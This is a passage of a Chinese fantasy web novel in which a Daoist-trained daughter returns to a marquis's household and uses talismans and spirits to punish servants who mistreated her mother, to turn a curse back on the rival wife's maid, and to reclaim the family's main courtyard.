殷镜堂嘴角抽了抽,“是,爹。”
这话听听就算了。
教殷琉璃规矩?她不给别人立规矩就不错了!
……
一进院,殷琉璃震惊了。
没想到娘住的院子这么偏僻,房舍简陋,院子里连个花草都没有,空落落的满目荒凉。
比冷宫有过之无不及。
过来开门的两个粗使仆妇,也都没好脸色的埋怨嘟囔,
“大小姐这不是回来了吗?夫人非要跑出去见,可叫王夫人给了咱们一顿教训!”
“就是,这还扣了我们下月例钱,让人以后日子怎么过?
不是奴婢埋怨,咱这院本就没有什么油水,夫人不该由着性子连累咱们……”
甄氏脸上闪过一抹紧张,忙好言好语的说,
“两位嫂子别生气,扣下的月钱我私下添些给你们……”
听娘这么说,就知道以前她没少受这两个刁奴的埋怨。
殷琉璃脸色一沉。
“哇呀呀……主人,这两个刁奴也是王氏的人,平日里没少给夫人耍脸色使绊子!”
哇呀呀在殷琉璃耳边愤愤道。
“那就让她们现世报吧!”
殷琉璃冷哼一声,在掌心画出一道“惩戒符”,手指一翻飞了出去。
“噗通”
一个仆妇浑身一颤,莫名跪在了甄氏的脚下。
“陈、陈嫂,你这是作甚?”
甄氏吓了一跳,本能的退后一步惊道。
殷琉璃吹了吹指尖,轻描淡写的说,“娘,她坏事做多,自我惩罚呢。”
“是,奴婢坏事做多,奴婢该打!”
张嫂抬手给了自己一个响亮的耳光。
殷琉璃一声冷笑,“告诉我娘,你为什么该打?”
张嫂根本控制不了自己的手,左右开弓的掴自己巴掌,吓得浑身哆嗦,
“奴婢受了王夫人的指派,不给主子安生日子过,时常混账犯上,奴婢该打!”
甄氏满脸惊讶。
这些年,她的确没少受这两个仆妇的搓磨,难听话张嘴就来,粗活随便应付一下,一个不高兴就给她甩脸子抱怨。
她只好从本就不多的月银里拿出一些给她们打酒吃,方能消停片刻。
殷琉璃哼了一声,“打多少?自己说。”
“**……”
耳光声不断,张嫂欲哭无泪,
“奴婢把脸打成猪头,只要主子不解气,奴婢就一直打一直打……奴婢求主子宽恕!”
“这还差不多。”
殷琉璃凌厉的眸子扫向另一个,“你呢?都打脸太没趣了,你去撞墙吧。”
第6章 以牙还牙
一道惩戒符打了过去。
“是,奴婢去撞墙。”
另一个早就看傻了眼,还没反应过来就觉得眼前一黑,自顾自跑去墙根用脑袋咣咣撞大墙,一边喃喃的念叨,
“奴婢撞墙、撞墙……奴婢也受了王夫人的指使刁难主子,日日给主子气受,奴婢活该受罚!”
甄氏整个人都懵了,“这、这要撞到什么时候?”
她知道女儿在玄清观学道术,但一直没怎么在意。
可那种玄之又玄的法术,不是只有那种仙风道骨的老道人才会的吗?
她女儿才十五岁!
不过,也好在女儿学了本事回来,不然踏进殷侯府这种虎狼之地,早就被他们扒皮拆骨了!
“总不过一个时辰,灵符也就解了。”
院子就够荒凉了,谁知进房,殷琉璃的心更揪了起来,眼睛里涌起一抹心疼,“娘,这些年你就主子这里?”
墙角的墙皮都掉了,家具简陋陈旧,一张挂着帐子的木床,铺盖单薄。
桌上摆着粗劣的茶碗,壶里连口热水都没有,可见处境之艰难。
殷琉璃深深吸了一口气。
这儿哪儿像个侯府正房夫人该住的地方,但凡有点儿脸面的嬷嬷,住的都不能这么差!
娘其实也能让自己过的好一些,可这些年她把攒下的银子全都托人送去玄清观了。
下山前,师父拿了一张一千两的银票和许多碎银给她,殷琉璃才知道娘这些年生怕她吃不好住不好,把银子全都给她了。
幸得师父疼爱,玄清观虽是个山旮旯里的小破老道观,师父也从没用过娘给她的钱!
“娘,这些年你受苦了。”
殷琉璃红着眼框楼主甄氏,声线微哽,“琉璃以后一定不会让娘再受苦,一定不会的!”
“娘不苦,娘一想到还有你,心里就一点儿都不觉得苦。”
甄氏轻轻抚摸着她的脑袋,心疼的责备,“琉璃,你不应该答应的。那个顾世子声名狼藉不说,他、他……是娘不好,娘拖累了你。”
“娘没有拖累琉璃……”
殷琉璃抹了一把眼泪,刚要说什么,眼角余光忽然闪过一丝若有若无的煞气,拖着飘带般的尾巴向甄氏缠绕而来。
怪不得一进屋就感觉哪儿不对劲儿。
见到娘的瞬间,她就发现娘眉心隐着一丝黑色的煞气,只是当时来不及收拾。
殷琉璃眼神一凛。
“琉璃……”
看女儿眸色吓人,甄氏紧张的唤了她一声。
“娘,别动。”
殷琉璃叮嘱了一声,一手按住甄氏的肩膀,抬手在她额间虚空画了一道追邪灵符。
煞气如蛇般缠绕着甄氏盘旋而上,即将接触眉心的一霎那触电般颤了颤,就要往回缩。
“想走?”
殷琉璃手中扬起一道符光,三根手指抓蛇般将它捏住。
那东西竟似活了过来,在她手中拼命翻滚扭摆,怎么也无法摆脱。
顺着煞气来的方向,殷琉璃走到床边,伸手往床底下寻摸,不多时就在床的坤位下方,挖出一个黑色的布包。
她松开手,煞气咻的一下便缩回了布袋。
甄氏吃惊的看着从自己床下挖出的东西,“这是什么?”
“娘,你身上的病不知是因为忧思过身,大半儿是这个东西害的。
”殷琉璃缓缓打开不包,一块铜钱大小黄白的骨头赫然映入眼帘,骨头上盘旋着浓郁的病煞气,
“埋在坤位,坤属土,为母亲、主母,煞气犯坤宫,侵害肠道脾胃,娘是否脾胃失调,时常食不下咽?”
甄氏点了点头,“是、是这样。”
殷琉璃沉着脸追问,“住进来以后,殷镜堂更是对你不闻不问,仅有的一丝夫妻之情也不顾了?”
甄氏眼眶蓦地一红,咬了咬下唇道,
“他……对我与你一样,早就当做**。”
殷琉璃冷冷道,“坤宫入邪,姻缘破败。”
甄氏吸了一口冷气,失声道,“琉璃,这是什么邪物?”
“殁骨!”
殷琉璃狠狠皱眉,“这东西是从病殁之人尸骨上抠下来的骨头,以牵魂术将带着亡人的一律病煞之气摄入其中,十分阴邪。
万幸施术之人法力不够,否则不出三月活人便会被煞气侵蚀元阳,暴毙而死!
娘,你被人算计了。”
“谁、谁要害我?这些年我住在这冷宫似的地方,从未与人争抢过什么,还不够嘛!
我只想有朝一日能见到我的女儿,可他们为什么一定要我死!”
甄氏的脸刷的一下白了,只觉一股寒意蚂蚁般窸窸窣窣往背上爬。
她抬手捂着撕裂般的心口,整个人几乎站立不住。
“娘,你以为你忍就够了,可在那人眼里,你活在这世上都是错的!”
殷琉璃明亮的眸子里闪过一抹凛冽,冷笑道,“不管是谁,让她自求多福吧!”
说罢,她抬手在掌心凌空画下一道“增煞符”,心念运行,符咒化作一道灵光从手心闪过。
突
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然间,几股阴风拔地而起,打着旋钻入了殁骨之中。
那块小小的人骨肉眼可见变成了黑色,盘旋的阴煞之气暴涨十倍之盛。
“敕令……”
殷琉璃在殁骨上凌空画出一道“反噬符”,喝了一声,“去!”
“哗啦啦……”
窗扇无风自起,哗啦啦煽了几下,桌椅板凳嗡嗡作响。
“琉璃,这是、这是怎的?”
甄氏看不见那些煞气,可也被眼前的场景吓得腿肚子发软。
“娘别怕,我下了反噬符,殁顾自会去寻经手之人,十倍反噬之。”
殷琉璃扶着她坐下,冷笑道,“这叫以其人之道还治其人之身,看他够不够命硬了……
对了,你身边伺候的人呢?不是有个嬷嬷和丫头吗,怎的不见人?”
甄氏捂着胸口满脸惊讶,又苦笑摇头,
“金嬷嬷还在杂役房里受罚呢,是我连累她……
前两天我病着想口热汤喝,她去后厨想法子给我弄了一碗,谁知当晚就被王氏的人抓了。
说是……说是偷了厨房里贵重东西,差点儿发卖了去。
至于春柳,一心想攀龙附凤做个姨娘,凭她去吧。”
春柳是她进府后收在身边伺候的小丫鬟,这两年岁数大了心思活泛,明面儿上还在这院儿伺候,其实早就暗地里投靠了王氏。
私底下还跟人炫耀说,夫人要把她指给殷二叔家的四少爷做妾。
做了大户人家的姨娘,可就是半个主子,她得意的很,更是一心替王氏办事。
殷琉璃不觉皱眉,
“春柳是伺候娘的人,娘没说放出去,凭她王氏指派?
金嬷嬷和她两个都叫回来,该赏的赏,该发卖的发卖!”
甄氏轻轻摇头,一脸担忧的说,
“琉璃,你刚回来,千万不要为娘弄的自己麻烦……”
殷琉璃勾唇一笑,“娘,麻烦的应该是他们。”
话音未落,院子外忽然热闹了起来。
这院子靠近杂役房,娘家就听见下人仆妇们叽叽喳喳的说,
“不好了,不好了!王夫人身边的孙嬷嬷突然暴毙,七窍流血似的,好不吓人!”
“孙嬷嬷?不会吧,她身子壮实着呢,刚才还狠狠的骂了那院儿一顿。”
“怎么回事,好好的人怎么会暴毙?”
“不知道啊,听说孙嬷嬷正伺候王夫人,突然就直挺挺的倒在地上,王夫人吓得两眼一翻直接晕厥过去,前院正忙着请大夫呢!”
……
第7章 你强,你就是道理
殷琉璃望着窗外冷笑,
“没有那么硬的命格,也敢用阴邪之法害人?自不量力!”
不用问了,用殁骨害她的就是王氏主仆!
可惜王氏没有亲手沾过殁骨,不然七窍流血的就是他们主仆俩!
没关系,她有的是办法收拾害她娘的人。
甄氏苍白的脸上满是错愕,
“怎么会是她?自从她进府,我从未与她争抢过什么,就是她那样对我……
我忍气吞声这么多年只想有朝一日能见到你,她为什么非要置我于死地!”
殷琉璃狠狠抿唇,“娘,不管你争抢不正强,你在这里就成了人家眼中钉肉中刺,只有拔了才甘心。
这世上本就没什么道理好讲,你强,你就是道理,你弱,阿猫阿狗都敢不跟你讲道理。”
“琉璃,这些年你师父都教了你些什么?”
甄氏哑然失笑。
她明知道是这个理,可她性子天生软弱,自己万万做不到女儿这般。
但她如今有女儿可以依靠了!
“生存之道。我师父说了,我们道门中人从不惯着谁。”
殷琉璃淡淡挑眉,起身去门口吩咐道,“撞墙的那个,去把金嬷嬷和春柳叫过来。”
“是,主子。”
正在咣咣当撞大墙的那个仆妇缓缓转身,脑门上赫然多了几个红肿的大包。
另一位还跪在门口继续啪啪掴自己耳光,脸肿的比个猪头也差不错。
甄氏顿时吸了一口气,“都撞成这样了?”
虽说有些不忍,可心里说不出的解气。
……
这当口,王氏那边已经乱成了一锅粥。
她在正堂失心疯似的闹了一顿,等回房整个人还处在蒙圈的状态中,死活想不明白刚才怎么把心里话一股脑的全说出来了!
谁知宝珠又跑过来哭哭啼啼的说了一通,王氏气的两眼一翻差点儿晕过去。
娘俩回头想了想,认定殷琉璃用了什么邪术,只觉得全身的寒毛都竖起来了。
可要白白放过殷琉璃那个**,娘俩又不甘心,就商量着怎么去找个高人治治她。
孙嬷嬷正好过来奉茶。
没人看见一道黑煞漂浮在半空,如一条可怖的黑蛇般从她的头顶缓缓落下……
孙嬷嬷刚走到王氏跟前,突然咣当一声把茶扔在了地上,呆呆的站住了。
“怎么回事?”
王氏心里正不痛快,破口大骂,“混账!端个茶都端不好,还嫌我心不不够烦是吗?”
孙嬷嬷低着头不说话,身子触电般止不住的乱颤。
王氏便恼火的拍着桌子,“问你话呢!哑巴了你……”
话音未落,孙嬷嬷突然抬起头,一张脸青白的吓人,嘴角诡异上扬,两只眼睛里几乎看不见黑色瞳仁,死鱼般直勾勾的盯着她。
说不出的瘆人可怕。
“你、你中邪了你!”
一股冷气从后脖颈蹿到脚底,王氏顿时慌了,“来人!来人……”
“咯咯咯……夫人……救……咯咯咯……”
话音未落,孙嬷嬷口中发出可怕的磨牙声,一步一步走向王夫人。
鲜血突然从她的眼睛、鼻孔、耳朵、嘴里汩汩流出,面目狰狞可怖,像极了一只刚从地狱爬上人间的厉鬼。
她身上,那道充满戾气的黑煞之气,黑蛇般在她身上游走盘旋,张牙舞爪,肆意从七窍钻进钻出……
王夫人失声尖叫,两眼一翻晕**过去。
“鬼、鬼呀……”
殷宝珠被孙嬷嬷恶鬼般的模样吓得花容失色,往日矜贵大小姐的行走坐卧都顾不上了,连滚带爬没命的往外逃窜。
整个院子鸡飞狗跳能跑的全跑了,根本没人敢进王氏的屋子。
……
甄氏这院一派宁静祥和。
不过院子里打耳光和撞大墙的声音,多少有点儿破坏气氛。
“主子,老奴回来了。”
一进屋,金嬷嬷慌忙拍了拍身上的尘土,快步上前跪下,
“老奴见过大姑娘!老奴在杂役房就听见人说大姑娘回来了,心里不知道多想来见小主子,只恨不得脱身!
如今有大姑娘在,主子可算是有了主心骨了!”
殷琉璃轻轻搀了她一下,
“嬷嬷快快请起。这些年我不在,多劳嬷嬷照顾母亲,琉璃多谢嬷嬷。”
望着眼前同她母亲有七八分相似,周身带着一股傲然之气的殷琉璃,金嬷嬷再也禁不住老泪纵横,
“这是老奴应当应分的,老奴从主子十二起就跟在身边伺候,容老奴说句犯上的话,
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老奴心里早就把主子当成自己女儿。
只恨这侯府是个虎狼之穴,那侯爷也是个昏头靠不住的,这些年不知让主子受了多少苦楚……”
“这些年,嬷嬷跟着我吃苦了。”
甄氏在一旁跟着抹泪,心里说不出的酸楚。
“娘,嬷嬷,你们都别哭,以后该哭的是他们了。”
殷琉璃握住她的手,脸上闪过一抹冷笑,“娘只管养好身子,嬷嬷替我多费心照顾些,等着好好看着那些人怎么哭!”
金嬷嬷眼睛里闪过一抹光芒,连忙擦了擦泪,
“对!大姑娘给咱撑腰,以后哭的就是他们!”
她被王氏寻了个由头罚去杂役房劈柴烧火,听人绘声绘色的说大姑娘不知道使了什么手段,把侯府搅的天翻地覆,当真是又惊又喜。
听说连张扬跋扈的王氏都在她手里狠狠吃了个大亏,她更是说不出的高兴。
甄氏这房,以后可算是有人给他们撑腰了!
这时春柳摆着杨柳腰走到门口,轻描淡写的福了福,
“奴婢春柳见过主子,见过大姑娘。”
金嬷嬷挺直了腰杆子,出声训斥,
“你不在屋里守着又去哪儿伺候了?
大姑娘和主子回来,这屋里头没人不说,连口热茶汤都没有,像话吗!”
春柳脸上有点儿不高兴,
“奴婢能往哪儿跑?王夫人受了些惊吓,那边叫奴婢过去帮忙……”
“你是哪屋的奴婢,三天两头往那屋里去伺候?”
金嬷嬷对这个出了外心的丫头看见就来气,“我知道咱这房留不住你,可主子还没发话你就上赶着巴结那房里的,这算什么?”
春柳虽垂着头,可摆了一脸的轻蔑,
“王夫人管着府里的事儿,叫奴婢过去伺候奴婢能说个不字?
但凡主子开个口不让,奴婢也断是不敢去的。”
这房的主子就是个窝囊废,在府里算得上什么东西?
她现在依仗的可是王夫人!
“你还敢顶嘴!”
金嬷嬷气的不轻,呵斥道,“这话什么意思?别以为你靠上了那房的,就敢这么跟主子说话……”
春柳抬头撇了她一眼,
“嬷嬷自己犯了事儿还没理清呢,还有什么资格训我?
第8章 立威
“啪”
话音未落,殷琉璃指尖闪过一道符光,凌空抬手就是一巴掌。
春柳脸上便是一个响亮的耳光,还没等反应过来,腿弯又猛的被人踹了一脚噗通跪在地上。
她抬手摸了摸火辣辣疼的脸,不可思议的看着殷琉璃。
她好像什么都没做,就抬了抬手,巴掌怎么就到自己脸上了?
“嬷嬷,不用跟她废话。”
殷琉璃吹了吹手指,云淡风轻的说,“叫人拖去打五十板子,直接发卖出去就是。”
金嬷嬷没想到小主子这么果敢,脸上不由一喜,
“是!”
春柳顿时急了,
“你们敢动我!我虽是这房的奴婢,可王夫人已经答应把我要过去了,她还要把我指给四少爷做妾!
打狗也要看主人,你们动我就是不给王夫人脸……”
这几年她替王夫人盯着这院里的一举一动,明里暗里替王夫人欺压甄氏,早就成了心腹,还能把甄氏这窝囊废放在眼里?
“啪”
话音未落,殷琉璃的巴掌早就扇到了她另一边脸上,淡淡挑眉,
“我本来也没打算给她脸。”
春柳捂着火辣辣的脸,气急败坏大叫,
“我、我要去告……”
“啪”
殷琉璃抬了抬手,又是一道狠戾的巴掌掴在她的脸上,“去吧。你爬得起来就行。”
“王夫人,您可要给奴婢做主啊!”
春柳脸蛋疼的跟炸开了似的,眼前全是一闪一闪小星星,哭着喊着就要跑。
这丫头下手实在太狠了,再不跑怕不是要把命交代在这里。
殷琉璃皱了皱眉,掌心灵符一闪,一道灵光飞了过去。
春柳脚下瞬间缠上了一条无形的绊马索,左脚踩右脚一头栽倒在地上摔了个狗吃屎。
连院门前打脸的和撞墙的两个仆妇,都看傻了。
“谁让你们停下来了?”
殷琉璃不悦的抬了抬下巴,吩咐道,
“嬷嬷,传我的话:春柳背主犯上,赏五十棍,发**契赶了出去。”
“是!老奴这就去传家丁!”
金嬷嬷满脸惊喜。
刚才她可是看了个满眼。
虽不知道小主子用了什么法,可她凌空抬抬手,春柳就一个巴掌一个巴掌的挨。
这几年春柳反叛背主,仗着王夫人撑腰明里暗里给主子使绊子,时不时还寻主子的错去讨赏,恨的她牙根子都痒痒。
小主子一出手就把这刁奴给惩治了,真**大快人心!
家丁拎着棍子进来,春柳彻底慌了,泥鳅般在地上扭曲挣扎,
“放开我!你们放开……我要去请王夫人给我做主!”
家丁也慌了,一时间有些不知所措,
“小人等见过大姑娘。大姑娘有所不知,府里各院惩戒下人必要知会老爷或王夫人……”
整个殷侯府谁不知甄氏性子软,说是老爷的正房夫人,其实跟打入冷宫差不多。
他们还从没见过这院子里发配过哪个下人。
这位甄夫人和大姑娘,是要在整个侯府立威了?
金嬷嬷义正言辞的呵斥,
“放肆!我们甄夫人也是老爷的正房夫人,大姑娘的话就是夫人的话!
不过是发配一个背主弃义的丫头,你们胆敢不听?还不给我打!”
有大姑娘在,她现在浑身都是底气,谁也不怕!
家丁们大眼瞪小眼。
春柳投靠王夫人这事儿满府都知道,大伙儿谁都不敢轻易得罪。
殷侯府也不是殷琉璃这个刚回来的大姑娘说了算,更别提甄氏这个窝囊夫人。
所以这院儿想在侯府立威,可不是那么容易的。
殷琉璃冷瞥了众人一眼,淡淡挑眉,
“打,算我头上。”
家丁们面面相觑。
眼前明明是个小姑娘,可她不怒自威,周身带着一种不容违逆的威严,让人不寒而栗。
这侯府以后怕不是要变天了……
几人不由自主的举起了手里的棍子,异口同声道,
“是!”
“砰砰砰……”
春柳被按住手脚,棍子雨点般落在身上,一张抹着胭脂的脸疼到变形,撕扯着嗓子哭喊哀求,
“主子饶命,主子饶命啊……奴婢知道错了,奴婢再也不敢了……”
甄氏暗暗攥紧了手心,眼角泛起泪花。
这几年别
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说服侍衣食,春柳受了王氏的指使没少给她脸色看,她只能默默的忍下一切。
金嬷嬷看不过去偶尔会训斥几句,那天给她弄了碗热汤喝,春柳转脸就去找王氏添油加醋告状,才让金嬷嬷吃了亏的。
如今女儿替她狠狠出了一口气,甄氏只觉心里说不出的痛快!
以后,她再也不是无依无靠的人了。
惩戒春柳,就是殷镜堂和王氏知道了来问罪,她也不怕!
“住手!”
门外传来一声厉喝,殷宝珠听见风声,带着一众丫鬟仆妇急匆匆赶了过来,
“殷琉璃,你好大的胆子!私自动用家法,扰乱家风,你有没有问过我娘?”
殷琉璃淡淡挑眉,
“我娘就是殷镜堂的正室夫人,你娘只是平妻,低了我娘半分,我要罚谁,用得着问你娘?
问候你娘还差不多!”
“你……”
殷宝珠反应过来她是在骂人,一张俏脸登时气的充血,“你敢骂我娘?殷琉璃,你算什么东西!”
殷琉璃随手拉了把椅子坐下,悠闲的翘起二郎腿,
“那你呢,你又算什么东西?”
“我……”
殷宝珠顿时怔了下。
她怎么不按套路出牌?
“宝、宝小姐……救救奴婢!救我!他们要活活打死我!”
春柳仿佛看到了救命稻草,用了吃奶的力气冲殷宝珠摆手大叫,“奴婢对王夫人忠心耿耿,奴婢……”
“惹厌。”
殷琉璃指尖飞出一道符光,凌空抬手就是一巴掌,“主子说话,也有你插嘴的份儿!”
春柳脑袋一歪,晕**过去。
殷宝珠想起她不受控制的那一幕,还没踏进远门的脚顿时停住。
她倒也不是来救春柳的,一个奴婢的死活还不值得她这位殷侯府的大小姐出手。
只是听下人匆匆来报,说甄氏和那贱丫头拿春柳开刀,喊打喊杀的要在这府立威,好容易缓过一口气的王氏哪里肯干,这才让殷宝珠过来阻拦。
这口气要是不争回来,以后整个殷侯府谁还把她这个当家主母放在眼里?
殷侯府,还轮不到她甄氏母女说了算!
第9章 我便是规矩!
只是殷琉璃的手段太邪了,她必要找个靠山才行。
“去把老爷请过来。”
殷宝珠暗暗吸了口气,悄声吩咐丫鬟。
“五十棍打完没有?”
殷琉璃扫了家丁一眼,不悦道,“谁让你们停下来了?”
家丁弓身子回话,棍子攥在手心里直冒汗,
“回大姑娘的话,还差着十三……”
宝小姐这房夫人掌管内宅十来年,府里人向来唯命是从。
大姑娘的话他们是听,还是不听,这是个问题。
“打。”
殷琉璃淡淡挑眉。
“不准打!”
殷宝珠怒喝道,“没有我娘的话,我看谁敢打!殷琉璃,我娘才是掌管内宅的主母,你不经主母同意滥用私刑,你眼里还有没有规矩!”
殷琉璃呵呵一声轻笑,
“**规矩管不到我头上,我既回来,我便是规矩!
家丁何在?给我打。”
“是!”
几个家丁暗戳戳对视一眼,不由自主就抬起了手里的棍子,对着春柳啪啪就是一顿乱棍。
大姑娘这话听着就提气!
不管他们两房怎么斗,先打了再说。
春柳嗷一嗓子疼醒了过来,鬼哭狼嚎的喊了几声又晕死过去。
殷宝珠怒气冲天,“殷琉璃,你简直放肆!”
殷琉璃这是当着全府人的面儿,把她和娘的脸面按在地上摩擦。
殷琉璃不屑冷笑,“你能拿我怎样?”
娘说得没错,若是她身上没些本事,回来必是要被这一家子豺狼给撕巴个干净。
殷宝珠一双细长的眸子瞬间充血,喝道,
“来人!殷琉璃坏我侯府内宅规矩,搅扰家宅不宁,给我把她绑起来送殷氏祠堂,听候发落!”
话音甫落,身后却一片安静。
她身边跟着的家丁仆妇一个个跟鹌鹑似缩着脖子往后退,竟没一个敢过去抓人的。
殷琉璃大闹正堂的事儿早就在府里传开了。
据说她修了什么了不得的邪术,连太老爷和老爷都拿她没法子,他们这些下人谁敢过去?
死一般的寂静中,殷镜堂无奈的呵斥声传来,
“好好的,又在闹腾什么?”
“爹!”
殷宝珠疾步迎过去,满脸愤然道,“大姐姐罔顾家规,不经主母同意对下人滥用私刑,还拒不认错!”
殷镜堂瞪了她一眼,“宝珠,这里没你的事儿,回你院里去。”
“爹!”
殷宝珠跺了跺脚,气急败坏道,“是母亲命女儿代管内宅,出了这样的事女儿怎能不管?
大姐姐不守家规,离经叛道,若是传出去,还不叫人笑掉我们侯府的大牙!”
“你听不懂爹的话吗,回去!”
殷镜堂背过双手,沉着脸呵斥了一声,“都给我听好了,以后这院里的事情由大夫人和大小姐自己做主,任何人不得插手。”
他何尝不知二女儿来这院儿是来杀威的!
可眼下谁有本事能治得了殷琉璃?
好在还有三天就能把这祸害嫁出去了,就让她先威风威风,这几天打碎了牙也要往肚子里咽!
殷宝珠不可思议地瞪大眼睛。
殷琉璃接过金嬷嬷递来的茶啜了一口,轻笑出声,
“呵……”
“你少给我得意!”
殷宝珠咬着牙,脸上一阵青一阵白,狠狠瞪了她一眼扭头走了。
“琉璃,你妹妹还年轻不懂事,你勿要跟她计较。”
殷镜堂进来小心翼翼地望了殷琉璃一眼,脸上挤出一抹笑容,
“你这一回来,瞧着你娘气色都好了不少……”
话音未落,甄氏冷下脸转身进了屋。
殷镜堂脸上的笑容顿时僵住,尴尬地抽了抽嘴角没话找话的说,
“琉璃,这几年你娘很不容易,你既回来一定要好好侍奉她几天。
那个、爹还要忙着操持你的婚事,就先回书房了。
对了,你们娘俩有什么需要,就叫人告诉爹一声……”
是谁让我娘过的这么不容易,你还有脸提?
“我如何侍奉我娘,不用你交代。”
殷琉璃轻蔑的哼了一声,挑眉道,“侯爷这就要走?琉璃正好有事,不用下人告诉,直接告诉侯爷吧。”
“呃……你、你说。”
殷镜堂心里咯噔一下。
真恨不得给自己脸上来一巴掌,刚才多那句嘴干什么!
殷琉璃
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缓缓起身,冷笑道,
“我娘好歹也是侯爷明媒正娶的夫人,侯爷就让我娘住这破落院子?
侯爷若没有好地方给我娘住,那琉璃就带娘出去自己置办一套也罢,横竖侯爷给的十里红妆,应该还能置得起一套院子。”
她要的这十里红妆,可是活活拿走了侯府的一半儿家底!
殷镜堂顿时扎心了。
殷琉璃挑着眉头继续道,
“还有,我还要从我娘身边出嫁,嫁的可是公主府,侯爷丢得起这个人,琉璃和娘可丢不起。”
她脸上那似笑非笑的表情,看的殷镜堂心里一个劲儿的发毛,连连摆手说,
“不不,琉璃你误会了,你娘之前染了时疫才搬来这里……如今你们娘俩自然不能再住这院儿。
爹、爹早就给你们想好地方了,只是还没来及说。”
殷琉璃唇边勾起一抹轻笑,
“不知侯爷指的是哪个院子?我记得娘以前住的是凤栖梧,还算不错。”
殷镜堂头上顿时炸出一道雷,支支吾吾道,
“凤栖梧?这、这……”
凤栖梧是侯府的正院,院中花草繁盛,小桥流水,屋舍也最是富丽堂皇。
凤栖梧是以甄氏的名字甄凤栖命名,当初她刚嫁过来就以主母的身份住在那里,两夫妻倒也过了几年恩爱日子。
殷琉璃也在那里出生,长到了三岁。
后来他娶了王氏回来,王氏一眼就相中凤栖梧,说什么也不肯住偏院。
新欢一直给他吹枕头风,旧爱又算得了什么,他就找了个由头让甄氏挪出去了。
“怎么,侯爷为难?”
殷琉璃冷笑道,“若是为难那便算了,我与娘出去置一套院子便是。”
“不不……爹、爹不为难。”
殷镜堂抬手擦了擦额头上的冷汗,咬着牙陪笑,“只是那院子如今还有人住,搬出去、又要打扫,少不得要折腾好些时间。
要不你们娘俩先去潇湘院住下,潇湘院是前几年新起的院子,用的都是上好的料子,就是凤栖梧也比不上……”
让王氏和宝珠玉珠把凤栖梧腾出来让给甄氏,怎么可能?
少不得先稳住这娘俩再说。
第10章 五鬼运财
“哇呀呀……”
耳报神突然现身在她耳边,张牙舞爪的大叫,“主人你别听他忽悠!他心里说先稳住你,过几天把你这个祸害嫁出去,还能来管娘家的事儿?
到时候他让夫人住哪儿就得住哪儿!”
殷琉璃挠了挠发痒的耳朵,在心念中笑了一声,
“知道,你当我傻?”
殷镜堂隔着窗子,陪笑说,
“夫人,为夫知道你一直喜欢竹子,潇湘院盖的时候为夫就让人种满了上好的潇湘竹。
原是想等你身子好了就搬去静养,谁知一直忙着就忘了。
要不你和琉璃先搬过去,再有什么要添的咱尽管添就是……”
哇呀呀在殷琉璃耳边道,
“哇呀呀……主人,他说的好听!那个院子他给小妾住着呢!”
甄氏映在窗纸上的影子,微微一颤。
她素来不喜燕红柳绿,唯一爱极了清淡的绿竹。
新婚蜜月时殷镜堂哄着她拿了一千两嫁妆银子出来,说要在府里寻一处清幽的地方种满竹子,专门供她观赏。
后两年,满是绿竹的潇湘院倒真建起来了,可惜住进去的是殷镜堂那个喜欢附庸风雅,自命清高小妾。
殷琉璃微微敛眉。
娘在给她的信中提起过自己喜欢竹子,可府中那片种满青竹的院子被人占了,她连进去瞧瞧都要看人脸色。
殷琉璃眸中闪过一抹凛冽,轻描淡写的问,
“侯爷说的可是真的?”
“自然是真的!”
殷镜堂以为她动心了,忙喜笑颜开的说,“爹这就让人把院子腾出来,再好生打扫一番,你们就搬过去如何?”
殷琉璃一声轻嗤,“旁人住过的院子我娘才不稀罕!我只要那些竹子。”
殷镜堂一怔,“琉璃,你这是什么意思?爹有点儿听不明白……”
“字面意思。”
殷琉璃冷笑挑眉,“侯爷既答应,那我就不客气了。”
“也、也好,只是那一院的竹子就是挪也、也要废些时日。”
殷镜堂心头忽然涌上一丝不祥的预感。
“这个不必侯爷费心。”
殷琉璃纤细的手指在掌心画上一道“五鬼运财”符,反手一指,“去!”
召令之来的五鬼乃是五位阴将,有着搬运世上财、物于无形之能。
一道灵光闪过,东、西、南、北、中五个方位腾起一团若有若无的阴雾,五个身长不足一尺,造型怪异的阴将,在空中缓缓浮现,抱拳冲她施礼,
“令主有何吩咐?”
殷琉璃用心念道,“此宅内潇湘院所有翠竹,与我搬运至此!”
“遵令!”
五阴将齐刷刷应了一声,转身消失不见。
殷镜堂看见她抬手画符的动作,头就先大了一圈儿。
还没等反应过来,眼前突然出现一片青葱之色,一株株翠绿的竹子变戏法般布满了整个庭院。
殷镜堂缓缓张开嘴巴……
这丫头是在敲山震虎吗?
与此同时,潇湘院里传出一声惊恐的尖叫,“竹子……我这满院的竹子呢?”
……
良久,殷镜堂艰难的咽了口唾沫,“琉璃,这是……”
殷琉璃冷笑着打断他的话,
“侯爷也瞧见了,我要的东西,你给便给,不给,我自己会拿!”
殷镜堂唇角狠狠抽搐,勉强扯出一个难看的笑容。
“啪”
屋里传来一声清脆的盖碗声,良久,甄氏的声音幽幽传来,
“侯爷不必与我再说什么,我什么都听女儿的。”
她不是一定要回凤栖梧那个院子,可当年出嫁时爹娘给她做的子孙床、各式桌椅衣柜都留在里面,被王氏霸占。
这些家具都是爹娘的心血!
当年她爹虽不是什么大官,但家境还算殷实,喜欢收藏各种名贵木料。
出嫁前几年爹娘用收集多年的黄花梨、紫檀为她打造了一套贵重无比的嫁妆。
爹说他和娘陪不了女儿一辈子,但这些家具能日日陪在他们女儿身边。
殷琉璃也毫不客气的下了逐客令,
“侯爷还是早些回去,让人腾地方吧。”
空气仿佛凝固了一般。
殷镜堂面如死灰,硬着头皮说,
“那、那爹尽量……”
“侯爷不如这就去安排,今晚我和娘就要住进去。”
殷琉璃淡淡挑眉,“金嬷嬷,叫些人手来搬东西。”
“啊?大小姐,我们真能搬回凤栖梧了
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?”
惊喜来的太突然,金嬷嬷激动的声音都在颤抖,“老奴、老奴这就去叫人!”
……
殷镜堂在房门前转了几圈儿,还是硬着头皮进门。
……
“什么?把凤栖梧让给那个**住?”
王氏弹簧般从床上坐起,扶着头晕脑胀的头大叫,“镜堂,你怕不是昏了头了?让我和宝珠玉珠搬出去,凭什么!”
殷镜堂没好气的说,“你喊什么?这院子当年本就是她的,是你非要……”
王氏一巴掌拍在床上,气的大骂,
“我和你夫妻这么多年,替你生儿育女,替你管着侯府这一大家子,没有功劳也有苦劳吧?
那个**一天到晚病歪歪的,还生了个人人厌憎的克星!
如今好了,她女儿回来,你就不要我们娘几个了?”
殷镜堂紧张的看了眼外面,怒道,
“行了!你小声点儿,叫那个祸害听见不知道又要闹出什么幺蛾子!”
王氏鼓了鼓腮帮子,恨恨的道,
“我管她听不听见?她女儿一回来就在府里立威风,如今还要抢我的院子,把我这个夫人当什么了?
